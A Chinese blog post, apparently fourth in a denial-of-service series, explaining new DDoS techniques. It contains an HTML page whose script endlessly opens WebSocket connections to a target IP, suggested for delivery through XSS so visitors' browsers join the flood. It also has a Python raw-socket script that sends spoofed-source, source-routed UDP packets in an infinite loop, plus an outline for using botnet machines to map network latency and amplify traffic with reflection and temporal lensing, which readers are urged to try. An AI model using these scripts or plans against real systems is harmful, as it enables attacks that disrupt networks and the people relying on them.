浅谈拒绝服务攻击的原理与防御（4）：新型DDOS攻击

0×01 前言

前几天我已经分别发了三篇关于DDOS攻击相关的文章，我也是第一次在freebuf上发表这种文章，没想到有那么多人点击我真的很开心，前几天我为大家介绍的DDOS攻击的方法和原理都是已经出现过大规模攻击行为的，或者说是已经实践过的，今天我要讲的是还没有发生过大规模攻击行为的新方法–websocket和临时透镜，这两种方法其实以前早就有人介绍过了，但是我做的研究比以前发表过的那些可能更具体些，我也想把我的试验过程和一些心得分享给大家，大家一起交流一下将新技术实现的新方法。

0×02 websocket实现DDOS攻击

websocket是是HTML5一种新的协议。它实现了浏览器与服务器全双工通信(full-duple)。目前主流的浏览器都能很好地支持websocket，而且用它实现DOS攻击也并不是很难，只要是在js代码中写入相应的代码，当人们打开这个网页是浏览器会自动执行js代码去请求连接要攻击的IP地址，说的有点绕口不过看看代码就能很清楚明白了

CODE:

// 创建一个Socket实例

var socket = new WebSocket('ws://localhost:80'); 

// 打开Socket 

socket.onopen = function(event) { 

  // 发送一个初始化消息

  socket.send('I am freebuf !'); 

  // 监听消息

  socket.onmessage = function(event) { 

    console.log('Client received a message',event); 

  }; 

  // 监听Socket的关闭

  socket.onclose = function(event) { 

    console.log('Client notified socket has closed',event); 

  }; 

  // 关闭Socket.... 

  //socket.close() 

};

//转载自网络

这个功能确实挺好的（虽然我不知道具体哪好，但是就是觉得好- -！），但是我们用它来早DOS完全用不到它的全部功能，只用一个创建实例就行了，比如下面这段代码

<!DOCTYPE HTML>

<html>

   <head>

   <meta charset="utf-8">

   <title>websocket test</title>

<script type="text/javascript">

while (2>1){

var ws = new WebSocket("ws://192.168.1.1:80");

}

 </script>

</html>

意思就是让浏览器不停循环请求192.168.1.1:80，浏览器也很听话，一直不停的请求。

这个方法可以配合xss一起使用，比如这样

当然我这用利用方法只是演示，并不适合直接应用于真正的攻击当中，因为这样不停的循环会是浏览器吃内存吃的很严重，也就是几分钟内存就会全被占满了，真正要利用的话还需要各位大神们想一个隐蔽性强的方法。

0×03 临时透镜攻击

我第一听说这种攻击方式是在绿盟的一篇DDOS威胁报告中看到的，这一技术出于一篇名叫《Tempora l lensing and its Application in Pulsing Denial-of-service Attacks》（时间透镜及其应用在脉冲拒绝服务攻击）的论文，论文中展示了一种通过时间延时进行流量放大攻击的方法。使得在一定时刻到达受害者的攻击流量达到一个明显的高峰值，中文名一般称之为临时透镜攻击，攻击原理如下：

这种攻击是一种典型的延时攻击形式，“ 以时间换数量”，如果攻击者可以控制多个时间段的多个数据包，让他们同时到达目标，这样就能使流量瞬间到达一个峰值，对目标造成很大危害。

这个攻击方式道理不难理解，但是实现起来可是不容易，要让相同源和目的IP的IP报文走不同的路径到达目的地，这一点就是要实现临时透镜攻击的关键所在，我国的互联网基本上是由四张网(电信、联通、移动、教育网)通过互联互通组成的，任意两点之间的路径都能有千千万万条，但是怎么才能有我们自己控制报文的路线呢？

我想到的第一个办法就是用IP协议的宽松源路由选项，学过或者平时比较了解TCP/IP的童鞋们可能听说过这个宽松源路由，但我估计很少有人用，简单点说这个东西是IP协议的选项部分，平时基本用不到，一般IP数据在传输时，通常由路由器自动为其选择路由，但是网络工程师为了使数据绕开出错网络或者为了测试特定线路的吞吐率，需要在信源出控制IP数据报的传输路径，源路由就是为了满足这个要求设计的，源路由有两种，一种叫严格源路由另一种就是我们要说的宽松源路由。ip选项部分可以最多带上9个IP地址，作为这个数据报要走的路径，严格源路由是每一跳都必须按照指定的路由器去走，但是宽松源路由的不用这个严格(如果我没说清楚请自行去查找源路由的相关知识)，这不正好满足了进行临时透镜攻击的要求吗！于是乎我兴奋的都睡不着觉了，赶紧写了个源路由测试的demo，代码如下：

#!/usr/bin/python

#-*-coding:utf-8-*-

import socket

import struct

import random

def checksum(data):

    s = 0

    n = len(data) % 2

    for i in range(0, len(data)-n, 2):

        s+= ord(data[i]) + (ord(data[i+1]) << 8)

    if n:

        s+= ord(data[i+1])

    while (s >> 16):

        s = (s & 0xFFFF) + (s >> 16)

    s = ~s & 0xffff

    return s

def IP(udplen):

	version = 4

	ihl = 8

	tos = 0

	tl = 20+12+udplen

	ip_id = random.randint(1,65530)

	flags = 0 

	offset = 0

	ttl = 128

	protocol =17

	check =0

	options_code=131

	options_len=11

	options_point=4

	option_ipaddr1=socket.inet_aton('2.2.2.2')#中途想要经过的IP地址，这里为了简单我只写了两个，最多可以带9个

	option_ipaddr2=socket.inet_aton('1.1.1.1')#源路由IP，最后一个是目的IP

	options_end=0

	source = socket.inet_aton('3.3.3.3') #源地址

	destination = socket.inet_aton('1.1.1.1') #目的地址

	ver_ihl = (version << 4)+ihl

	flags_offset = (flags << 13)+offset

	ip_header = struct.pack("!BBHHHBBH4s4sBBB4s4sB",

                    ver_ihl,

                    tos,

                    tl,

                    ip_id,

                    flags_offset,

                    ttl,

                    protocol,

                    check,

                    source,

                    destination,

					  

					  options_code,

					  options_len,

					  options_point,

					  option_ipaddr1,

					  option_ipaddr2,

					  options_end)

					  

	check=checksum(ip_header)

	ip_header = struct.pack("!BBHHHBBH4s4sBBB4s4sB",

                    ver_ihl,

                    tos,

                    tl,

                    ip_id,

                    flags_offset,

                    ttl,

                    protocol,

                    socket.htons(check),

                    source,

                    destination,

					  options_code,

					  options_len,

					  options_point,

					  option_ipaddr1,

					  option_ipaddr2,

					  options_end)  

	return ip_header

def udp(sp,dp,datalen):

	srcport=sp

	dstport=dp

	udplen=8+datalen

	udp_checksum=0

	udp_header = struct.pack("!HHHH",srcport,dstport,udplen,udp_checksum)

	return udp_header

data=20*'\x00'

datalen=len(data)

srcport=5678

dstport=6789

udp_header=udp(srcport,dstport,datalen)

ip_header=IP(len(udp_header)+datalen)

ip_packet=ip_header+udp_header+data

s = socket.socket(socket.AF_INET,socket.SOCK_RAW,17)

s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)

while 1:

	s.sendto(ip_packet,('1.1.1.1',dstport)) #1.1.1.1处填目的IP

写完了这个测试代码我赶紧去测试了一下，，，，，，结果，根本就不行，对端收不到发出去的报文，我经过多次测试依然是如此，后来我通过抓包发现在报文调到第三跳的时候被路由器拦下了，并给我回复了一个源路由失败的ICMP，我后来又在电信网测试了一下，这些可好根本一条都出不去，直接拦截了，，，，后来我网上查了一下才知道原来大部分运营商都禁止了源路由，不过有人说在国外不禁止源路由，国外有服务器的朋友可以去测试一下是不是真的，不过在国内想用这个方法实现临时透镜攻击是泡汤了，白兴奋了好几天，我只能再想想其他方法了……..

于是我想了第二种方法(我艹，这个编辑界面很不友好，文章长了就会出点莫名的问题，刚才本来写完这段了，结果莫名的删除了没有要重写一次),就是通过反射的方法实现自己控制到达目的的路径，图略丑- -！

图中A段的时间好控制，但是B段的时间就不好控制了，这样总的时间也就没法控制，那怎么办？以前freebuf上有位朋友提出过一个方法，

就是通过DNS解析目的主机的域名来测算B段的时间，可是方法虽巧妙，但是很有局限性，对那些没有自建DNS域名解析的目标就不好测算了，

但是更好的办法我也没有想到，但是我有个非常笨的方法，那些手中“肉鸡”资源丰富的人们可以试试，就是让肉鸡平时随机的traceroute

一些IP地址，然后把结果都返回给控制主机，控制主机通过合并相同路线粗略的算出全网的拓扑和相邻两台路由器的延迟，这样就能粗略的

知道任意IP到任意IP的大概所需时间，这样我们就就能知道A段+B段的总时间了，虽然不精确，但是可以用多个肉鸡进行冗余攻击来弥补，

这样通过反射放大的倍数×临时透镜放大倍数能获得超大的瞬时流量，攻击效果肯定非常震撼，但以上我说的这些都是我胡思乱想的结果，

并不确定可不可行，但希望有能力又喜欢试验的朋友去尝试一下，看看否可行。最后在附上一张图。。chou！

0×04 结语

我通过四篇文章把我知道的所有DOS攻击的知识讲完了，对于大牛来说我说的可能比较浅显，但对于新手应该能有所帮助，下一篇我将介绍一下对于

目前主流的DOS攻击都有哪些防御策略，还请大家继续能来看看，还有ping -j 和tracert -j是实现源路由的简单方式，大家可以试试你们所接入的

网络能不能支持。